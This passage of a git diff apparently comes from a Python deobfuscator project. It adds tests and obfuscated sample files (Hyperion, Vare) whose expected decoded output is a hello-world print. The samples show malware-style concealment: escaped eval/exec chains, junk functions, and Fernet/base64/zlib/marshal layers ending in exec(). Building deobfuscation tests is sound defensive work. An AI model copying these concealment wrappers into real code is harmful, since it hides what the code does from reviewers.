\xd2\xbc\x9cr\xa7u\x94LN\x9b\xd3eO3\x11\xc2\xa6\x9d\xe0\xc5\x10\xd9x\xe3\xfc\xfb\xab\xea\x0f\x83\xc1\x18\xb0\x9dL\xa4\xd0\xae\xfe\xa2h\x9a\xea\xee\xaa\xea\xear6\x7f9?9\x85+\x9a\xf4y\x8a\x97\xef\xa7\xa3\xc9r1\x0e\xb2t\xee\xfb\xa7\xbf}\xeb\xfd\xfe\xf2\xc4\xe6Q\x9a\xf4N\xd3y\x01-Xf\x8f\xe9|\xc1q\xfa\xbdQ\x14\xc7/\xd9#{H\x83\xcc\xb4i\xefs\xef\x1f\xf1\x92\xfd\xc1\xc2\xde`\xe3\xa9\x87({\\\x8eD\xc3\x8fY\xf6\xb48\xff\xfaU\xd4\x9d\x8d\xd3\xd9\xd7R3_k\xde\x1dF\x8bq:\x0f7\x9b\x91\x95g\x0f\x0f_\x9f\xe2\xe0a\xc9J\x0f\xc5\xd1\x98%\x0b&\x1e\xfa\xe7\xbf\xaf\xbe\x903\xbd\x842NCq_{\x9aGI\xd6\xef\xfd\xce\xe28=}N\xe7q\xf8[o\xa0\x9d\x0c\xce\xd7\xd8x_[\xfc\x15\x85\xda\xe0\x84\xad\xc6\xec)\x93\xc4L\x9e\x96\xf0\xe4\x1f\xe9\x82-N\x839;\x9d\xb3\xf0g\xf2\xdf(\x8dY&*F@\x99\x9f\xc9\xff\xd2%/\x05\xa7\xd8\xc8\xcf\xe4{:J\xc3\x97\xd38\xfa\x0b\x9e{I\x97\xbd\xc1\x89\xe8T4{J\xe7\x99\xef\xc3\xdb^\x16\xda\xe0\x8c\xad\xa2\xac?8\x89\xd3q\x10/\xfa\x83\x1f\xda\xed\xed-\x81\x1f\xc1\x18\x12\xc8\xdcj\xf7\xdf\x1e\xe2t\x04\x08\'[\xee\xe2C\xc9l6K\x92\x19&\x98\x02@\xa4\xfd8?\xff\xf4\xe5\xd3\x97\xfe\x97\xfe\'c0\xb8\x87VX\x16d\xd9\xbc\xae\x95\xab\xcb\xab\xcb\xe1\xf0\x12\xe1\xea\n\xb2\x97\x97\x90V[\t\xa3\xda\x16\xa6\xd3\x18\xae(\xe2\xd1\x14\xd2)D\xd0}\xf1y\'[o\xe3s\x7f\xde\xdd\xfd)/\xcc@\t\x7f\xf0`N\xb0\xbaW^_\x7f\xff.\xe0z\x9d\xc2\x83\xdb[\xeck\xa3e\x14gQ\x82\xa4\xff;\x98\xef\xe8\xd2\xf3\n\x83\x8a\xf0z\xc6k\x05mK\xfa&\x82\xdc"M\xfauo\\$Q\x16G\xcbQ\x99\x90\x83\xcf@c \xb6\xa0\xb5$\xfb\xe5U\xf7v\x06?\x8e\xd5\xd0Y\x94\x84l\xd5\xd7\xd8"\x0e\xfeU\xb9}?\xa8\x1b\x03 \xde4\x06\xea\xc5H\xcc\x08r\x1f\x82H\xcb\xf9\x7f\xb6\xd1h\xdb\x84\x14kc\x1aO\x918*\xf9\x10T\x8a\x83\xbf\xd96*\xd5\xae\xbbH\xcc"$\x11F*3\x8d:S+\x8a\xc6\x8b \x89\x0e\xa6Vm;]\xa9U\xdf\x90\xa2\xd6\xcb$\x8aW\xec1Yv"\x19\xbe\xf5rx\xc5\xbb\x01\x00\xb9\xe1G\x98ZY\x90\xc6\x93\x0e\\\xeaV]D^"\x7fK>\x02\xb1X\x1c=\xcd\xd2q\x07r\xdd\xa47\xba\x0e\xd1\x8d\x9e\xe2\xef&\xc5\xecG U\x9c\xa6\xd5\xbb\xbb\xd6\x1fo\x19_sw\xc7_\n\xf0\x11\xe84\xcf\x16]\xe4_\x84\xa4\xe3\xd4Cv.\xf8:2uM;\x9b\xa6QR7\r\x87\xc0\xd9\x90\xa7\r!\xe1y,^]\x16\xdf\\\x95\xac}m\xa0\xc3-\xa3\x11\xcb\xf2m\xdf\xf0]\xdf\xf2u\x88u\xdf\xf3\t\xa0\xda\xd5\xda\xc6\x96\x0c\xb8\xa5\x1f\xa5W\xb5\x12\xb0?\xd2L\x83\x84\xc4%\xa1\xa9\x13\x0fT\xd8\x90\xe1&\xa7\xaf\xb9\x93\xac*2\x06"\xda\x80\x0f0-\xc7l\xb5U\xe38\xea\xfc:\xe6\x18\xdd\xefl\x8dR\x87\xd0\t\r\x89N\x89cS\x8f\x8e\x1d\x0bb\xe6\x98P\xe3\xd1\xd0\xd1\xe9\xc4!\x8e\x05%\xdbq\xa9MM2vtx\x06q,2\x16ic?\x8e\xbd\xfc\xa8\xef\xf8\xd4\'\x10\xe3\x02"\x08\x80\xeaTk\x0f!\xb4iOL\x1d\xc0\x01\xb0\x01(\x80\x05@\x00\\,\x93\x11\x1f\x88&<\xbb\xfdbj\x18\xac\xcd\x01a0`Pv<\xc8\x1b|\xc0\x98\xa37\x0fE\x1d\x07\x15\xf2\x05%\x8dH\xc4\x1a\x81\x02p\xd1:\xe1\xb4\xab\xb7\xf94i\xea\xd3\xfd\x0e\xe5s\x18\x8bk\x18\x0f1\x8f?\xe8O\xdd7<%\x8b\xe0\xe5i\xb6L\x0e\x19w].0\xa3\xe5\x02\xabUqt\xbcn@\xb7\xd1A\xc5\x01%\x07\x00\x95\x9d\x1d\xf4\xac\xb0\x97\xd7a\xf3\x1d\xbfp\xf7Wr%\x8e\xabq\xf8\x81\xfcs\xf7\x9c1mgK\xdd\xe8??\x0b;\x8a\xb4\xa6\xf0\xe4\x102\xe1"6$\x10\xb9\xb8qA{r\xc1c\x9d!\x99@\x1b\xdc\xb6\x1c\xfb[\x1c\xccFap\x8a\\\x11\xf7\\\x82?\x02\x83<\xaf\xa1j\x1dEv\x12{"\x825\xb1,\x0bS\x88y\xba\xcech\x1c\x0c\xd5\xd7\x15\xb7c=s\xbb\xd6\xb3\xb2h\xad\xce\xb7N\x9a\xbd\xba\xcbh(\x03+\x84\xbc,s\xad;\xbc!\xfde\xfe\xae+\x815X\xd1\xb0\xb4on\xf8\x02\xc7\x14\x97\xc3!s\xce\x96\xc2\xc3\x94iQ\xb0\xa8\xbc)\xe7\\\x1b\\\xd2v\xce\xd5r\x9a\x83d(\x95\xcb\xc0\x90\xdd\xd4\x0b\xcb\xc4\x96\xa9%?\xa7\r\xae\xd9\x92c\xed3\xc5lh}\x130\xae\x0b\xe2^\xeb\xe9&\x8d\xe7\xd2\x94\xce\x95c\x0e\xddV\x88\xa6s>\x0bR\x05\x98-\x08\x13\x94)\xba\xd8A\xbf\xa5\xc4\xcb?\n\xbf(\xe1\x97\xfc"\xf1\x85\x9d\xd7\xd1,oC4\x08i\xa3\x1c$\xb0ur@\xcb\xc3m\x96\t:\x9f\xcd\xb5@\xb3Z{\x94\xed\xd5kl\x9cj\x96\x9d\xe5\xbfy\x87jG\x86\x9f\xd4\x0c\xc5\x89\x8d\xd0\xcfaC\xf5+&\xdbj}V\xc2\x85;\n\x99\xa3\xcaC!D\x94 Qq.v\xd6\xa1\x83\x88\x91\x1bKi\xb7\xe9,^v\xf67,\x08\xc4\xb0 \x02\xc3\xe2\x174\xf7\xf5}h\x98\xfbP\xc0\n!0\ty`k`\xb2\x0ci\x971\xe3\x1b!\xb9\x07\x82\xe8x:L\xa1\xb3\xac\xd0Y\xd5IV\xf9\x84\xf6\xdd^\xc9\x15\xc1\x150\xae\x8b=\x9fo\xefa\xedB\x17\x15\x18\xae\x15|\x7f}\xc6\xb9\xcfVd\xfb\x9cu[\xe8*\xbf\x88\xd3\xd7\xd2|\xbd\xe5^\xdbw\xef\x8ed\n\xb4@\xfe\x99>\x81\xd8\x80@|\x97\x1b\x1eKu-\xec,.`:\xfc9\xb4\xa9P\xdf\xe1v\x96J\xed\x91\x0c\xa6\x84\xb7F!F\xfb\x8d\x01\x92\x9cr\x89^\xa9=t[\xe7I\xf5\xd8\x91\xba&\x91\xfa%\x95\xa9[\xd8\xd65\xe1:\xfb\x19Kk\xa7\xf2\xae\xce\x13\x878\xfb\x9bx\xd6N\x07j\xa3\xdc\xb4=nmx\x86q\xc1\xf1q\xd0\x98\r\xb3\x02\xc6\x08{S\xad=h\xe5I\x9a\xbb\x85m\x8f!\xf3\xaaN\xd9\xe4\xda\xe0v\xb0\xcbm("h\x89\x1a\n\x93\x14DC\x91b\xb1\xb3\xd6\x1bM9\xe2\x14\xd1"N\x0e^n\xb1\xb8a\xf1r%\x17\x97\x83\t\xc1\xe3\xcb\xbbR{\xe8NTY3\x1c\x99\xf7\n\xdb1\x93\x930\xdf\x896\xe1Z\x07sx<4q\xf9\xd1\x89\x87<\x07>\xd0\x86\'I\xb5\xf6H\xb3\xfapYQ\xd8\x9c\xdb\x92$va7k\x94fl\x13n\xc7\x19[\x7f\xa8\xb8S\xb1\x0cx\x18\x03x\x14\r\xfc\xd5R\xd0\xa8\x97\xf4\xf7\xda\x7f\x97Cu\xcf\x9d\xd7c\xdc\xdc\x8d\x1e\'\x85\xf1\t\xaa\xe0\xc6\xa7\xf3\xf3\x1f\xda2\x9b\xb8Z\x9f\x85\xe9\x98\x85g\x03\xcd#\x8e-\x82\xcb\xa1\x18o\xdc!\x13\xaa\x9b\xdc<\x86)7\x94a\x8au\xb2laN\x85\x89\xa5\x8d\xfa\x11\x9eE\xe2L\x89\xe3u\x06\x9d\x99\xa2\xfe}Q\x0e4\xf7\x91\x9a\x13\xf8\xe0\x89\xed\x01P\x99\x12\x99"\xb8\x00\x86\x89\x9a\xc9\x888\xadpw\xf6\x0e9\x12\x16\xd7\xc9\xb4\xd8;\xbe.\x06\xdaQ\xb0\xf0d\xeej}\xfa3\xbc\x12\x86\xce\xa1\xf6c\xd0G\x96(\xa7m\xac\x8ev\xa7\xbd\xe3(\x1a\x07/m\xc5\xe9t)Pt\xb9|\xa9L\x9d\x02wl\x83\xdb\x81;"|\x9eD1K\x82\x19\xfb\xa6\xdd\xdc\\\\\x00\xa0\x19>\xbd\xb8\xb8Hy9=TARl\xc8-\xd8\x13=\xc9\xe1\xf9\xe1VAAj\xc2m\xa9\xdb\x7f\x9e\xc1\xfdo\x15\x9f\xaeW\x1e\xe5_}j^s\xae\xf2a8t\xf3\xfbrK\xac\xca\xe7\xef\xc5<\xd0\xde\xb3\x81\xedY\x9e\x15\x00\x8cy\xf08x2\x1f\xacsc\x19\x02`\xfb#30\x03\x98\xc7!\x07\x97\xc3\xa8\rq\x01\x0f\x94\xfe\xc2\xde\xf5\xa0\xb6 \xe7\xf1\xda1\x0f\xea\xae\xca\x95k\x00\xe0\x19\x02l\xde4]\xd3\xa6\x14RK\xa6N)%\xa5\xb2\'SZJ\x81\x92\x14\xe9\xe9Bj\x1d\xb1]\x030=\xa4\x15a\xd4B\xef\x01\x10\x9e\x90"\xfdL\x97R\xc7r\xec:\xda!\xd7\x80q\r1.\xe6\xec\x10r\xfb\xd3\x8cB_\xa1\x1b\xd0/\xdd\xa4\xd4\x06\xb0J`\xd7\xc0\xb6\xfb\x9bu&5L\x9d\x1a\xbcm\x0b\xea\x05\xd8\xa5t\x1b\x94q\xec\x12~^\xc61\xaa\xef\x8f]\xa8\xb3j\xf2U\xfc\xa3\x8cQ\xd3J\xcf%\xd6N\xa7\x01q\xb9<8\x12\xf2\x1c\\\x8d\xef\xe1Rd\'\xfb\xb4\x1dJ\r:n\xe6\xd5\xf5\x7fD(\xab4\x87\x88\x0f\xb5aR\xe2R\x89N\xbb`kP\xc7\xccmp[;\x06\xbd\x13\t\xd0FG\x0f+g\xbeE\xc3w^\x1b\x90\x80\xb0\x8a!\xb8lk\x15\xb1KLg\xc2\xdd\x9e\x02\x87\x11\xdd\x816L\xa78\xd5\xd6\xb1\xbb\x9e\x92\xae\xa3\xae\xdd\xda}\xe3\x17u\x11U;w\x12{+\xca6\xf7\x90\x12\xf6;\n\xc2\x87\x81H\xbf\x85R\xed\x9b\x8b\xe4\xb5h\xfe?\x8fAG\xfd') + + if 197888 > 3226003: + _add.Run(Power = _add.Add + -90014) + elif 292944 < 6748977: + _add.Run(Power = _add.Add + -31500) ;IIIIllIllllIlllIIlIl,JLJJILLLLILIILLLILLL,ODoOoDoooOooOoDOO,iiijiiiijjjiiiiji,XWWXXWXWXXWWXWWXWXXXWW=(lambda iijlllijjilijljlij:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(iijlllijjilijljlij)"),filename='\x53\x53\x53\x53\x53\x53\x32\x53\x53\x53\x53\x32\x32\x32\x53\x53\x53\x32\x53\x53\x53\x53\x32\x53',mode='\x65\x76\x61\x6c'))),(lambda iijlllijjilijljlij:iijlllijjilijljlij['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda iijlllijjilijljlij:iijlllijjilijljlij(__import__('\x7a\x6c\x69\x62'))),(lambda:(lambda iijlllijjilijljlij:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(iijlllijjilijljlij)"),filename='\x53\x53\x53\x53\x53\x53\x32\x53\x53\x53\x53\x32\x32\x32\x53\x53\x53\x32\x53\x53\x53\x53\x32\x53',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63')),(lambda ljljiljiijjiljllilllijill,iijlllijjilijljlij:ljljiljiijjiljllilllijill(iijlllijjilijljlij)) + if 131544 > 8376307: + _add.StackOverflow(_substract = -91786 - _add.Add) + elif 118544 < 9260786: + _product(_positive = 14665 / -58738).Run(Power = _add.Add / -96657) ;iiijiiiijjjiiiiji()(XWWXXWXWXXWWXWWXWXXXWW(JLJJILLLLILIILLLILLL(ODoOoDoooOooOoDOO(IIIIllIllllIlllIIlIl('\x76\x61\x72\x73'))),_product._stackoverflow(System='nmnmnnnnnnnmnmnmnmmmnnmnm')+_product._stackoverflow(System='SS22SSSSS22SSS2S222222SS'))) + + except Exception as _floor: + if 183096 > 771007: + _product.execute(code = _multiply(_floor)) + + elif 450397 > 9196108: + _add.StackOverflow(_substract = -43902 - _add.Add) \ No newline at end of file diff --git a/tests/hyperion/test_hyperion.py b/tests/hyperion/test_hyperion.py new file mode 100644 index 0000000..3fa683e --- /dev/null +++ b/tests/hyperion/test_hyperion.py @@ -0,0 +1,13 @@ +import pytest + +from vipyr_deobf.deobfuscators.Hyperion.hyperion import hyperion_deobf + + +@pytest.mark.skip("Hyperion deobf doesn't preserve names") +def test_deobf_hello_world(): + with open('tests/hyperion/sample_array.obf', 'r') as file: + obf = file.read() + code = hyperion_deobf.deobf(obf) + with open('tests/hyperion/sample_array.exp', 'r') as file: + exp = file.read() + assert False diff --git a/src/vipyr_deobf/deobfuscators/__init__.py b/tests/lzmaspam/test_lzmaspam.py similarity index 100% rename from src/vipyr_deobf/deobfuscators/__init__.py rename to tests/lzmaspam/test_lzmaspam.py diff --git a/src/vipyr_deobf/scanners/__init__.py b/tests/pyobfuscate/v1/test_pyobfuscate_v1.py similarity index 100% rename from src/vipyr_deobf/scanners/__init__.py rename to tests/pyobfuscate/v1/test_pyobfuscate_v1.py diff --git a/tests/pyobfuscate/v2/sample_hello_world.exp b/tests/pyobfuscate/v2/sample_hello_world.exp new file mode 100644 index 0000000..8c854ae --- /dev/null +++ b/tests/pyobfuscate/v2/sample_hello_world.exp @@ -0,0 +1 @@ +print('Hello, world!') \ No newline at end of file diff --git a/tests/pyobfuscate/v2/sample_hello_world.obf b/tests/pyobfuscate/v2/sample_hello_world.obf new file mode 100644 index 0000000..e69de29 diff --git a/tests/pyobfuscate/v2/test_pyobfuscate_v2.py b/tests/pyobfuscate/v2/test_pyobfuscate_v2.py new file mode 100644 index 0000000..e69de29 diff --git a/tests/vare/v1/sample_hello_world.exp b/tests/vare/v1/sample_hello_world.exp new file mode 100644 index 0000000..8c854ae --- /dev/null +++ b/tests/vare/v1/sample_hello_world.exp @@ -0,0 +1 @@ +print('Hello, world!') \ No newline at end of file diff --git a/tests/vare/v1/sample_hello_world.obf b/tests/vare/v1/sample_hello_world.obf new file mode 100644 index 0000000..ce431e5 --- /dev/null +++ b/tests/vare/v1/sample_hello_world.obf @@ -0,0 +1,643 @@ +__VareObfuscator__ = '' + +def saint7658848(): + if 9480235 == 8306173: + + print(6945121) + aaa5681452 = 4470947 + + print(173524) + bbb289988 = 3822060 + + aa1053546 = 5419466 + + z1535599 = 8359435 + zz8889446 = 7176837 + + c1491899 = 926363 + cc7033569 = 3306847 + + elif 7275451 == 8404495: + + print(809052) + + aaa969277 = 6481637 + print(8023113) + + bbb8025725 = 7720011 + aa3791325 = 1646486 + x7463394 = 4441957 + xx953594 = 4948235 + + a6498436 = 1124672 + aa3609658 = 2847931 + +def saint9713283(): + if 4956582 == 4888796: + + print(8531858) + aaa6155377 = 6864570 + + print(5044388) + bbb3574729 = 9619300 + + aa7629182 = 7227736 + + z6639996 = 7712495 + zz8775271 = 9929668 + + c4311261 = 1772526 + cc7538730 = 3350313 + + elif 7646841 == 8465495: + + print(873969) + + aaa6208841 = 1826522 + print(7637907) + + bbb7959404 = 3075362 + aa6150344 = 4163942 + x7116927 = 7809625 + xx8361734 = 7846139 + + a2150337 = 7369681 + aa5088141 = 1862864 + +def saint1342833(): + if 5440606 == 6929619: + + print(135281) + aaa7529288 = 6074465 + + print(7927413) + bbb695380 = 2806083 + + aa813881 = 6036492 + + z9534205 = 3075091 + zz8042649 = 4073800 + + c3868779 = 7788223 + cc1778466 = 312192 + + elif 7198104 == 9033142: + + print(6179408) + + aaa200261 = 3592496 + print(2025311) + + bbb9776543 = 8077125 + aa4149981 = 9556988 + x8459220 = 8333133 + xx7893862 = 6872183 + + a9793509 = 851675 + aa9266962 = 2626975 + +def saint4871853(): + if 2602537 == 9744986: + + print(5740812) + aaa9509453 = 7099127 + + print(4812461) + bbb2185537 = 4239166 + + aa8978099 = 757881 + + z4523210 = 9410965 + zz1328092 = 5351760 + + c6661663 = 7123598 + cc7600004 = 4473007 + + elif 5856205 == 5369090: + + print(9345346) + + aaa2389791 = 8984879 + print(1405857) + + bbb7278663 = 7072769 + aa4846022 = 9107647 + x4381071 = 6805181 + xx3924366 = 102907 + + a7645880 = 9430183 + aa9720595 = 2965223 + +def saint1037430(): + if 993253 == 5676108: + + print(940245) + aaa5422199 = 1191680 + + print(7931170) + bbb9121936 = 7848976 + + aa5125250 = 7150901 + + z5934469 = 5957388 + zz8885915 = 649621 + + c2307031 = 9274651 + cc4441545 = 1481784 + + elif 6814735 == 9034107: + + print(7142483) + + aaa4607172 = 6879969 + print(525336) + + bbb2366565 = 4410804 + aa9004012 = 7620536 + x3077595 = 1431316 + xx7307940 = 3309968 + + a6264476 = 7084663 + aa8946915 = 7684329 + +def saint6885064(): + if 3326881 == 9418298: + + print(6243290) + aaa2431753 = 260203 + + print(1126441) + bbb7662087 = 4079048 + + aa7598745 = 5056060 + + z1690664 = 1678854 + zz5459215 = 9788080 + + c3828643 = 2930124 + cc2225478 = 2482814 + + elif 3741309 == 7339273: + + print(8694457) + + aaa1637503 = 4352632 + print(9784270) + + bbb7487518 = 4191170 + aa6454801 = 2314165 + x5452542 = 3647530 + xx8032590 = 3585431 + + a1603665 = 8448135 + aa5176350 = 2830371 + +def saint4199588(): + if 6514087 == 1752876: + + print(6146063) + aaa3624549 = 7292830 + + print(1187571) + bbb7108208 = 2524500 + + aa8678994 = 2828051 + + z2271540 = 6879064 + zz356354 = 5697647 + + c4002960 = 5736831 + cc5525502 = 2970482 + + elif 8400281 == 8081034: + + print(4291876) + + aaa3105695 = 8682102 + print(2621536) + + bbb2550464 = 8664385 + aa2259188 = 3004165 + x4499538 = 1400402 + xx2431565 = 5069932 + + a1889206 = 6040536 + aa420828 = 649007 + +def saint7115273(): + if 2955101 == 4451336: + + print(6165091) + aaa2265916 = 7635021 + + print(266170) + bbb9440415 = 5511841 + + aa5188028 = 4703859 + + z9590984 = 9155625 + zz7378518 = 6976948 + + c4205887 = 9706819 + cc6882579 = 1821272 + + elif 1996367 == 5139690: + + print(4342142) + + aaa7128263 = 7121882 + print(4058546) + + bbb101841 = 361183 + aa5022536 = 7922695 + x5178336 = 3094260 + xx1568312 = 5708529 + + a1720885 = 8107862 + aa6600425 = 7179074 + +def saint1682638(): + if 1926883 == 4614881: + + print(908060) + aaa9028884 = 2106083 + + print(4850652) + bbb6070319 = 2703695 + + aa8439098 = 4629051 + + z6464296 = 8568418 + zz4378434 = 8253753 + + c3636517 = 6600298 + cc2726842 = 9569392 + + elif 3775756 == 6630570: + + print(9230059) + + aaa7385075 = 700360 + print(9648296) + + bbb5626891 = 6426288 + aa873556 = 2972631 + x2326770 = 974593 + xx3809545 = 6160288 + + a5591079 = 5078678 + aa7915212 = 2503534 + +def saint5031428(): + if 242173 == 6581927: + + print(1676472) + aaa6039576 = 4543750 + + print(4363116) + bbb1196194 = 9595297 + + aa7659902 = 8824737 + + z6572641 = 8955294 + zz4386243 = 4048325 + + c4874923 = 3186193 + cc7221727 = 6782092 + + elif 1234343 == 2637017: + + print(3355850) + + aaa2905717 = 8306511 + print(3400541) + + bbb2121708 = 8357091 + aa1705331 = 2797533 + x1070528 = 3186721 + xx8523230 = 5281320 + + a3495929 = 2332364 + aa2449530 = 5953636 + +import base64 as ______;import marshal as ____;import zlib as __________;from cryptography.fernet import Fernet;import base64;__mikey__="WGJiUUcxS2hJY0pHRGRQVmhtdGVFWjlGMmFaVV9SdGtwMGp1NnpHT0lQOD0=";mydata="674141414141426d31736f446538336a2d464254364a58744f536f6f587a396f684f6e3467314138616f644f6e3833446748346464736e4f7a694f43784d42713072766d51585639794931793153695a334a4d4d6e6a794d5377645074465a2d5770567570744b66626e656c6569795267494e7065464c746c78694d49786b725f375664394d564965506748507269576c417933756f334647684b67646553556a6c4c664e7462767754437759383969546173594645636b695f754d4a6d766941546f5f50424a483330314b44674d716a345a4f4d4b5544737062576f516564535473346c624b4a33384d505151594b4a306b336b786b712d366350704455596e426d684645674b5764424439664869766a2d764b366b617478656e71344d544552645f786f4376356b74676b696879795f61506e55746f685a6e6f43655f775655557a43717a457062344568764a395f39694647666354376a7351694c59385f32795656775935396b45774d7544347453686f5f7a596951494b68475531684145626e695f734f594431597a764f6447614d6d70314a45617a4943484f76744e6270325a452d474f56632d6c666c4b75774b714e4f6358444d58684242325f6a3052735a4f487678514b63534b4162593558694b6c71756b655849575767474b513d3d";__vare__ = lambda x: ____.loads(__________.decompress(______.b32decode(______.b64decode(x[::-1]))));__mycip__= Fernet(base64.b64decode(__mikey__));__step1__=bytes.fromhex(mydata);__step2__=__mycip__.decrypt(__step1__);__decr__=base64.b64decode(__step2__);__decrdata__=__decr__;__gotnew__=base64.b32decode(__decr__);__newdecr__=645744515002;__getnew__=__newdecr__;__myb64code__=base64.b64decode(__gotnew__);__myb64codee__=base64.b64decode(__myb64code__);___ = __myb64codee__;exec(__vare__(___)) + +def saint9806355(): + if 643374 == 5107000: + + print(8985240) + aaa4074632 = 9529880 + + print(7649571) + bbb8816395 = 1015836 + + aa6687083 = 8932833 + + z5740632 = 133993 + zz5950846 = 9917613 + + c606038 = 9430881 + cc5068296 = 6894323 + + elif 9754337 == 2249117: + + print(9409502) + + aaa9029433 = 4490436 + print(2023422) + + bbb3157212 = 5071566 + aa6119278 = 6316408 + x7219678 = 9485648 + xx6466456 = 7092874 + + a1029122 = 4022769 + aa1935473 = 9102127 + +def saint7228414(): + if 3265943 == 7956052: + + print(3868793) + aaa7948317 = 8587699 + + print(4501896) + bbb9076016 = 8438059 + + aa7352821 = 9899239 + + z6060450 = 8002448 + zz2643490 = 5121666 + + c9762195 = 1905637 + cc5535193 = 2676589 + + elif 8178373 == 3604855: + + print(1568687) + + aaa5504634 = 4566183 + print(5239664) + + bbb4291734 = 4071022 + aa3734611 = 9699255 + x7329171 = 3536061 + xx5346191 = 642144 + + a8423388 = 445217 + aa7565720 = 9251869 + +def saint5987152(): + if 9838071 == 8921911: + + print(4163134) + aaa879778 = 6306817 + + print(5950852) + bbb3946815 = 2368779 + + aa2552104 = 1091465 + + z8275521 = 6435175 + zz2711331 = 6304217 + + c9345168 = 6890695 + cc6048217 = 3570174 + + elif 1786271 == 2734076: + + print(9869049) + + aaa8575131 = 5040835 + print(8195094) + + bbb7976234 = 2815010 + aa658052 = 3750073 + x6593778 = 3049298 + xx6911718 = 3116587 + + a1739513 = 3481054 + aa4923956 = 7952416 + +def saint3252701(): + if 190068 == 6887344: + + print(7918588) + aaa3001638 = 809287 + + print(9524037) + bbb117328 = 4140512 + + aa245251 = 3733899 + + z4058581 = 3995955 + zz9796330 = 9831459 + + c4898603 = 6727596 + cc2153779 = 7051638 + + elif 6256403 == 4767519: + + print(9960495) + + aaa7753003 = 451844 + print(7862921) + + bbb5887735 = 7913055 + aa138476 = 8356966 + x5486899 = 7456740 + xx4311919 = 6686264 + + a7154897 = 5186375 + aa597729 = 1729036 + +def saint3187528(): + if 8503942 == 8541715: + + print(6946564) + aaa6775076 = 5684466 + + print(9009241) + bbb7283525 = 813008 + + aa3190473 = 5473644 + + z6941180 = 7781995 + zz7764098 = 2604868 + + c2442868 = 2193739 + cc8473062 = 8105356 + + elif 5236583 == 9722866: + + print(8638154) + + aaa3359035 = 3899962 + print(4824547) + + bbb1612788 = 1102785 + aa7624726 = 7954718 + x705228 = 1310645 + xx576594 = 6882492 + + a6848126 = 5261174 + aa4277150 = 9351259 + +def saint5991418(): + if 6576777 == 9559819: + + print(4292523) + aaa3093929 = 2095431 + + print(7834444) + bbb4432977 = 6732253 + + aa2090572 = 1458120 + + z782975 = 191075 + zz8209055 = 8573000 + + c382151 = 5311221 + cc1456669 = 1224379 + + elif 7871781 == 7694007: + + print(8935750) + + aaa2289236 = 7908878 + print(921549) + + bbb7600853 = 8607476 + aa3470926 = 5179899 + x6334877 = 3831942 + xx8285561 = 5051822 + + a2350173 = 9072716 + aa335383 = 2339519 + +def saint3317223(): + if 680365 == 3185027: + + print(3673704) + aaa5163271 = 4535552 + + print(1769802) + bbb6348146 = 1635991 + + aa9249696 = 1573113 + + z2950989 = 6406719 + zz2173937 = 5757397 + + c128602 = 9646173 + cc846414 = 3119404 + + elif 8960271 == 745620: + + print(3257146) + + aaa8837300 = 9762846 + print(3699412) + + bbb7925698 = 2254234 + aa4132143 = 9016555 + x4991026 = 9158457 + xx6322293 = 1563193 + + a7311876 = 2130305 + aa8538920 = 2743592 + +def saint6815150(): + if 4224023 == 3315682: + + print(4691522) + aaa9993877 = 4947001 + + print(7659544) + bbb4451743 = 6692491 + + aa1190050 = 4891690 + + z7603326 = 6974223 + zz4436972 = 8815216 + + c2636209 = 2457464 + cc6890547 = 3056179 + + elif 1453306 == 6118316: + + print(6938134) + + aaa4667851 = 3064165 + print(9146324) + + bbb9700613 = 739109 + aa2978666 = 2208760 + x6524928 = 1052096 + xx4387069 = 445134 + + a397823 = 5334421 + aa4940935 = 2687185 + +def saint3484138(): + if 3273143 == 9537576: + + print(5224577) + aaa1983016 = 4234226 + + print(1836973) + bbb5239294 = 5223958 + + aa7975966 = 9610589 + + z7862254 = 5742648 + zz8972881 = 9704771 + + c1470313 = 4493686 + cc4303102 = 140215 + + elif 2529944 == 4229086: + + print(4631398) + + aaa7971988 = 1380397 + print(7138018) + + bbb2998929 = 2274833 + aa5092407 = 9999153 + x3054601 = 402108 + xx4832405 = 9434320 + + a2199123 = 5852633 + aa1604396 = 2676686 + +def saint2312527(): + if 2805846 == 9145551: + + print(4064278) + aaa467412 = 2916282 + + print(6386683) + bbb1382263 = 1032452 + + aa2461160 = 3258892 + + z4376181 = 3803278 + zz6101011 = 4650344 + + c9024719 = 6149566 + cc1952214 = 4476043 + + elif 729028 == 5627811: + + print(350338) + + aaa6523232 = 853604 + print(4837429) + + bbb9869039 = 7851587 + aa8744229 = 2167725 + x2250047 = 9976014 + xx7284390 = 1354703 + + a7879272 = 2677285 + aa7808867 = 5531871 diff --git a/tests/vare/v1/test_vare_v1.py b/tests/vare/v1/test_vare_v1.py new file mode 100644 index 0000000..8f31ea0 --- /dev/null +++ b/tests/vare/v1/test_vare_v1.py @@ -0,0 +1,12 @@ +import ast + +from vipyr_deobf.deobfuscators.Vare.vare import vare_deobf + + +def test_deobf_hello_world(): + with open('tests/vare/v1/sample_hello_world.obf', 'r') as file: + obf = file.read() + code = vare_deobf.deobf(obf) + with open('tests/vare/v1/sample_hello_world.exp', 'r') as file: + exp = file.read() + assert ast.dump(ast.parse(code)) == ast.dump(ast.parse(exp)) diff --git a/tests/vare/v2/sample_hello_world.exp b/tests/vare/v2/sample_hello_world.exp new file mode 100644 index 0000000..8c854ae --- /dev/null +++ b/tests/vare/v2/sample_hello_world.exp @@ -0,0 +1 @@ +print('Hello, world!') \ No newline at end of file diff --git a/tests/vare/v2/sample_hello_world.obf b/tests/vare/v2/sample_hello_world.obf new file mode 100644 index 0000000..ff880f4 --- /dev/null +++ b/tests/vare/v2/sample_hello_world.obf @@ -0,0 +1,2437 @@ +# This Code Obfuscated With 'Vare Obfuscator 2.0' +### ADD YOUR MODULES HERE IF YOU WANT TO USE --sign 🤡 + +config = { + '__VARE__': '2.0', + '__Author__': 'https://github.com/saintdaddy' +} + +def saint487037(): + if 3768272 == 9419343: + + print(6343999) + aaa2530478 = 1097800 + + print(3370601) + bbb345941 = 1769812 + + aa7489841 = 8161012 + + 